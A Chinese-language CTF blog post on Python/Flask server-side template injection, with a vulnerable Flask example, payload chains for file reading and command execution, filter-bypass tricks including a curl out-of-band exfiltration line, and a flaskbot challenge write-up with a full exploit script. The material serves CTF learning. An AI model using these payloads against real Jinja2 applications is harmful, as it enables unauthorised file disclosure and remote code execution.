ctf中的python ssti

文章最后更新时间为:2020年12月05日 17:05:59

好久没打ctf了,最近打了场,感觉有些trick还是需要记下来。

1.什么是ssti

ssti服务端模板注入,和sql注入没什么区别,本质上都属于输入可控,注入代码,然后执行。

ssti不仅存在于某一种语言,很多模板渲染引擎都可以执行代码。以python为例,看一个简单的例子:

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])

def test():
    name = request.args.get("name")
    template = '''
        <div class="center-content error">
            <h1>Hello, %s</h1>
        </div> 
    ''' %(name)
    return render_template_string(template)

if __name__ == '__main__':
    app.debug = True
    app.run()

经典的flask,访问test页面:

可以看到我们输入的{{"1"+"2"}}被解析了,漏洞成因在于:render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{"1"+"2"}}会被解析成12

2. ctf中python中的ssti

当发现某个地方有ssti的时候,一般有两种思路

  • 读取配置文件
  • 执行系统命令

2.1 读取配置

pythonweb框架,比如说flask,在框架中内置了一些全局变量,对象,函数等等。我们可以直接访问或是调用。有的ctf会把flag放进config中,或者将敏感信息放到全局配置中,比如我们可以通过{{config}}读取配置文件。

2.2 执行命令

Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。

  • __dict__:保存类实例或对象实例的属性变量键值对字典
  • __class__:返回调用的参数类型
  • __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • __bases__:返回类型列表
  • __subclasses__:返回object的子类
  • __init__:类的初始化方法
  • __globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
basemro 都是用来寻找基类的。

基本流程是:

  • 随便找一个内置类对象用__class__拿到他所对应的类
  • 用__bases__拿到基类(
  • 用__subclasses__()拿到子类列表
  • 在子类列表中直接寻找可以利用的类getshell。

比如我们要python2读取一个文件:

  • 找到基类object

    ''.__class__.__mro__[-1]
    {}.__class__.__bases__[0]
    ().__class__.__bases__[0]
    [].__class__.__bases__[0]
    request.__class__.__mro__[8] #jinjia2/flask 适用  [9]
    
    >>> ''.__class__.__mro__[-1]
    <type 'object'>
  • 获取基本类后,继续向下获取基本类(object)的子类
object.__subclasses__()

>>> {}.__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

object.__subclasses__()[59]

>>> {}.__class__.__bases__[0].__subclasses__()[59]
<class 'warnings.catch_warnings'>
  • init初始化类,然后globals全局来查找所有的方法及变量及参数。

    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__
  • 查看其引用__builtins__

    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']
  • 这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能:
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

如何发掘可用的payload,比如我们要执行命令

#python2/3
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
    try:
        if 'eval' in item.__init__.__globals__['__builtins__']:
            print(num, item)
        num+=1
    except:
        num+=1
-->
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(71, <class 'site._Printer'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)
-->
{}.__class__.__bases__[0].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

常用的payload:

  1. 读文件

python2

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
{}.__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()

python3

在python3中file类被删除了,所以可以通过执行命令读写文件。

  1. 执行命令

python2

# 1 使用os下的popen
{}.__class__.__bases__[0].__subclasses__()[71].__init__.__globals__["os"].popen('whoami').read()


# 2 使用__builtins__下的eval
{}.__class__.__bases__[0].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

# 3 利用warnings.catch_warnings 进行命令执行
查看warnings.catch_warnings方法的位置
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59
查看linecatch的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25
查找os模块的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12
查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144
调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root

# 4 利用commands
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

python3

# 1 直接使用popen, os._wrap_close类里有popen
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('whoami').read()

# 2 使用__builtins__下的eval
{}.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

# 3 使用commands
{}.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

3. python ssti 绕过技巧

3.1 过滤中括号[]

  • getitem()
>>> "".__class__.__mro__[2]
<type 'object'>
>>> "".__class__.__mro__.__getitem__(2)
<type 'object'>
  • pop()
{}.__class__.__bases__[0].__subclasses__().pop(40)("/etc/passwd").read()

3.2 过滤某些关键字

  • base64
# 编码属性__class__
{}.__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()
-->
{}.__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()

# 编码参数
{}.__class__.__bases__[0].__subclasses__()[40]("L2V0Yy9wYXNzd2Q=".decode('base64')).read()
  • 字符串拼接绕过
{}.__getattribute__('__c'+'lass__').__base__[0].__subclasses__()[40]("/etc/passwd").read()
{}.__class__.__bases__[0].__subclasses__()[40]("/etc"+"/passwd").read()

3.3 过滤引号

  • 先获取chr函数,赋值给chr,后面拼接字符串
{% set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()
}}
  • 利用requests.args

request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
将其中的request.args改为request.values则利用post的方式进行传参

().__class__.__bases__[0].__subclasses__()[40](request.args.path).read()}}&path=/etc/passwd

执行命令
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen(request.args.cmd).read()}}&cmd=whoami

3.4 过滤双下划线

利用 request.args 的属性

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

3.5 过滤双大括号{{

dns外带+if条件句

{% if ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:4444/?i=`whoami`').read()=='p' %}1{% endif %}

4. 2020祥云杯flaskbot wp

题目是考察python flask,关键源码如下:

@app.route('/',methods=['POST','GET'])
def Hello():
    if request.method == "POST":
        user = request.form['name']
        resp = make_response(render_template("guess.html",name=user))
        resp.set_cookie('user',base64.urlsafe_b64encode(user),max_age=3600)
        return resp
    else:
        user=request.cookies.get('user')
        if user == None:
           return render_template("index.html")
        else:
            user=user.encode('utf-8')
            return render_template("guess.html",name=base64.urlsafe_b64decode(user))


@app.route('/guess',methods=['POST'])
def Guess():
    user=request.cookies.get('user')

    if user==None:
        return redirect(url_for("Hello")
    user=user.encode('utf-8')
    name = base64.urlsafe_b64decode(user)
    num = float(request.form['num'])
    if(num<0):
        return "Too Small"
    elif num>1000000000.0:
        return "Too Large"

    else:
        return render_template_string(guessNum(num,name))
        
@app.errorhandler(404)
def miss(e):
    return "What are you looking for?!!".getattr(app, '__name__', getattr(app.__class__, '__name__')), 404

if __name__ == '__main__':
    f_handler=open('/var/log/app.log', 'w')
    sys.stderr=f_handler
    app.run(debug=True, host='0.0.0.0',port=8888)

首先输入用户名name,然后输入num,如果num符合条件,则return render_template_string(guessNum(num,name))

num的绕过可以使用NaN,之后就是name构造了,首先输入name = {{config}},发现输出了config。

['Wow! <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': True, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}> win.']

获取基类

name={{''.__class__.__mro__[2]}}
<type 'object'>

读文件

name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}

尝试命令执行,发现过滤了eval os popen system import request * flag...

到os

name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']}}

到执行os

name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']["po"+"pen"]("ls").read()}}

发现有一个start.sh,cat看看

name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']["po"+"pen"]("cat start.sh").read()}}

内容:

flagfile=/super_secret_flag.txt
if [ ${ICQ_FLAG} ];then
    if [ "$flagfile"x = "/super_secret_flag.txtx" ];then
        echo ${ICQ_FLAG} > ${flagfile}
        chmod 755 ${flagfile}
    else
        #sed -i "s/flag{x*}/${ICQ_FLAG}/" $flagfile
        sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" $flagfile
        #mysql -uroot -proot nXXXX < $flagfile
    fi
    echo [+] sed flag OK
    unset ICQ_FLAG
else
    echo [!] no ICQ_FLAG
fi

好家伙 ;flag位置找到了,但是flag是黑名单,我怎么cat flag呢,base64解码一下好了

name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']["po"+"pen"]('Y2F0IC9zdXBlcl9zZWNyZXRfZmxhZy50eHQ='.decode('ba'+'se64')).read()}}

最终利用脚本:

import requests
import re
from html.parser import HTMLParser
import html

url = "http://eci-2zebigmdhrm148g9pri8.cloudeci1.ichunqiu.com:8888"
headers = {
    "Content-Type":"application/x-www-form-urlencoded"
}

data1 = """\
name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']["po"+"pen"]('Y2F0IC9zdXBlcl9zZWNyZXRfZmxhZy50eHQ='.decode('ba'+'se64')).read()}}\
"""
r = requests.post(url, headers=headers, data=data1)

headers = {
    "Cookie":r.headers['Set-Cookie']
}
data2 = {'num': 'nan'}
r = requests.post(url+"/guess",headers=headers,data=data2)
pattern = re.compile('Wow!([\s\S]*)win.')
result1 = pattern.findall(r.text)
# print(r.text)
if len(result1)>0:
    print(html.unescape(result1[0]))
else:
    print("no result")

参考文章:

1 + 4 =
快来做第一个评论的人吧~